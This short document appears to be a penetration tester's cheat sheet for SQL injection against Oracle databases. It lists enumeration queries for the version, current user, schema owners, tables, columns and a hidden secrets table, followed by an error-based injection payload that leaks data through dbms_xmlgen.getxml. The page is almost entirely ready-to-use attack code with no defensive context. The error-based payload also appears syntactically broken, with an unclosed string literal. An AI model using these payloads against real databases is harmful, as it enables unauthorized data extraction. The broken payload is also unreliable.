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# Oracle

## Enum

```sql
-- Get Version Information
select * from v$version;
-- Get Current User
select user from dual;
-- Oracle database create a Schema for each user. To Get all owners
select owner from all_tables group by owner;
-- Get Tables
select table_name from all_tables where owner = 'SYS' order by table_name;
-- To learn more about a Table
select column_name, data_type from all_tab_columns where table_name = 'MENU';
-- Select All
SELECT * FROM sys.HIDDENSECRETTABLE;
```

## Error Based

{% code overflow="wrap" %}

```sql
to_char(dbms_xmlgen.getxml('select "' ||(select substr(banner,0,30) from v$version where rownum=1)	|| '" from sys.dual;))
```

{% endcode %}


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